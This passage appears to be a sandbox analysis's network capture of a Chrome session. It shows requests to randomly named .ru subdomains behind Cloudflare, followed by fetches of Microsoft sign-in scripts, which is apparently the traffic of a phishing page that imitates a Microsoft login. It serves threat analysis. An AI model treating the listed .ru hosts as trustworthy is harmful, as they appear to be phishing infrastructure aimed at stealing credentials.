2024-12-09 23:07:00 UTC	1369	IN	Data Raw: 6f 65 4b 41 39 51 4c 44 30 2f 49 52 41 56 4d 46 42 59 4b 6b 38 6f 54 43 73 69 54 56 59 30 4a 6a 39 6a 52 46 38 37 50 54 64 6e 4e 31 6b 6a 63 30 5a 78 54 43 31 4d 62 55 4a 37 4f 69 34 39 66 44 35 50 55 49 4a 72 66 55 35 6a 65 6e 79 47 67 6c 32 49 66 49 68 69 59 6f 65 4c 64 46 47 55 55 33 39 4b 69 35 4f 44 6a 4a 4f 59 68 35 69 69 6e 48 78 36 6f 70 6d 6c 6b 70 61 5a 68 36 5a 70 68 32 75 6a 66 5a 4f 62 72 59 57 54 72 49 36 32 73 59 32 73 6b 72 4f 52 6e 6f 79 35 72 49 37 47 77 4b 2b 53 6c 73 53 67 71 70 36 72 6d 37 79 38 76 49 76 56 71 4b 6e 4d 79 73 57 75 73 64 48 46 6d 38 79 7a 77 63 79 78 73 71 4b 64 77 4c 79 34 73 38 4f 30 75 62 6e 63 37 73 62 72 72 74 2b 31 79 72 62 77 77 73 66 32 75 2f 62 7a 30 66 6e 31 76 38 47 36 42 66 6e 5a 2f 50 6f 4c 39 39 37 33 44 Data Ascii: oeKA9QLD0/IRAVMFBYKk8oTCsiTVY0Jj9jRF87PTdnN1kjc0ZxTC1MbUJ7Oi49fD5PUIJrfU5jenyGgl2IfIhiYoeLdFGUU39Ki5ODjJOYh5iinHx6opmlkpaZh6Zph2ujfZObrYWTrI62sY2skrORnoy5rI7GwK+SlsSgqp6rm7y8vIvVqKnMysWusdHFm8yzwcyxsqKdwLy4s8O0ubnc7sbrrt+1yrbwwsf2u/bz0fn1v8G6BfnZ/PoL9973D
2024-12-09 23:07:00 UTC	645	IN	Data Raw: 55 4c 44 5a 51 55 6b 51 61 4b 42 73 30 48 6c 38 63 58 69 49 37 5a 30 38 37 5a 43 6c 57 49 6b 51 72 52 55 70 4f 61 6c 31 50 54 69 31 79 53 6e 41 35 61 46 4e 35 66 6d 71 41 65 44 78 74 54 32 4e 37 63 55 4a 57 68 6b 65 4e 65 49 74 42 68 5a 43 48 69 6c 4b 48 56 48 68 57 61 5a 64 79 63 6b 39 61 69 58 71 4e 58 4a 2b 52 63 32 4e 64 65 33 4e 6c 6a 49 64 2f 61 57 2b 4c 6e 61 65 47 6e 59 78 77 69 35 65 4a 63 70 47 70 6b 4c 52 78 73 4b 32 34 76 36 32 7a 75 35 75 43 78 59 4c 47 71 35 58 4a 78 38 53 2b 6b 49 57 79 73 70 44 51 73 39 6a 50 72 39 57 6f 33 64 6a 64 72 70 7a 4d 77 38 4c 63 76 61 4c 6d 6f 62 2f 56 79 61 32 75 37 63 65 70 73 72 4c 68 73 63 72 67 36 76 6d 37 35 65 33 2b 76 75 33 75 41 75 7a 73 2f 51 6a 77 78 67 44 45 34 63 72 6c 44 67 76 72 36 42 50 39 33 77 Data Ascii: ULDZQUkQaKBs0Hl8cXiI7Z087ZClWIkQrRUpOal1PTi1ySnA5aFN5fmqAeDxtT2N7cUJWhkeNeItBhZCHilKHVHhWaZdyck9aiXqNXJ+Rc2Nde3NljId/aW+LnaeGnYxwi5eJcpGpkLRxsK24v62zu5uCxYLGq5XJx8S+kIWyspDQs9jPr9Wo3djdrpzMw8LcvaLmob/Vya2u7cepsrLhscrg6vm75e3+vu3uAuzs/QjwxgDE4crlDgvr6BP93w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49805	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:01 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:02 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 23:07:02 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Z0kjGnTJK6B0PN74zAM+7gvgtHT3X3XAWV8=$t+TVU0YIkHhsW6Dj cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef8a62978ac17b5-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:07:02 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49810	172.67.181.220	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:03 UTC	659	OUT	GET /abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA HTTP/1.1 Host: cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://wfdd.htqeuifpr.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:04 UTC	901	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3%2FxuKs20Gy24iYx9lnVL4cgVTo7ofttiRLnmFvvLm7u2rHs1cBXbO%2FWPz0fytr8otgEVXhwNlp%2Ffq4AKkl0UywulWBcTqVkIK7Uk2s%2BZm%2Ftwt26vZ6WsiEDg5CSCzl1%2Fg3ETwEKhnvCIRWMF2%2FP8fnphQWrcuk0Stxbe2yQvTVwCElGJHt%2FnRLVzS7gVqJAtjSwUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8a633edcf0f5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4802&min_rtt=1596&rtt_var=2662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1237&delivery_rate=1829573&cwnd=227&unsent_bytes=0&cid=9637f3d940eb3d23&ts=895&x=0"
2024-12-09 23:07:04 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-09 23:07:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49821	172.67.181.220	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:07 UTC	451	OUT	GET /abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA HTTP/1.1 Host: cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:09 UTC	891	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3AVqiBGLZald43wdcIOukF0w7pAu50nDaOwStHZ3Sf8rHOtCQWooZoEz7sbfSPFLsYbqasKO0GtF6PDykwHkyR%2BGvxnotxeVKtMUPlBG8pPuS4U7wKruB1eisiAoMtUx7%2BNgzSZTzlrO6jTn5nj0VGblkC5gcrFtyhCfBIn6mJaPDKg9DyfRLnO736hI%2ByBwgYHjSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8a64b9a6543ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2071&rtt_var=1035&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4202&recv_bytes=1029&delivery_rate=304642&cwnd=223&unsent_bytes=0&cid=3b79092db12deb8d&ts=2152&x=0"
2024-12-09 23:07:09 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-09 23:07:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49840	152.199.21.175	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:14 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:14 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5865860 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Mon, 09 Dec 2024 23:07:14 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-09 23:07:14 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-09 23:07:14 UTC	1	IN	Data Raw: 29 Data Ascii: )
2024-12-09 23:07:14 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2024-12-09 23:07:14 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
2024-12-09 23:07:15 UTC	16383	IN	Data Raw: 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 Data Ascii: "UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0
2024-12-09 23:07:15 UTC	16383	IN	Data Raw: 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 Data Ascii: ,o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ig
2024-12-09 23:07:15 UTC	16383	IN	Data Raw: 2b 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: +S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function
2024-12-09 23:07:15 UTC	16383	IN	Data Raw: 55 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 Data Ascii: Unset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e
2024-12-09 23:07:15 UTC	6	IN	Data Raw: 65 74 75 72 6e 20 Data Ascii: eturn
2024-12-09 23:07:15 UTC	16383	IN	Data Raw: 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 73 2e 63 Data Ascii: i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},this.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49853	152.199.21.175	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:17 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:17 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5865863 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Mon, 09 Dec 2024 23:07:17 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-09 23:07:17 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-09 23:07:17 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-12-09 23:07:17 UTC	2	IN	Data Raw: 50 50 Data Ascii: PP
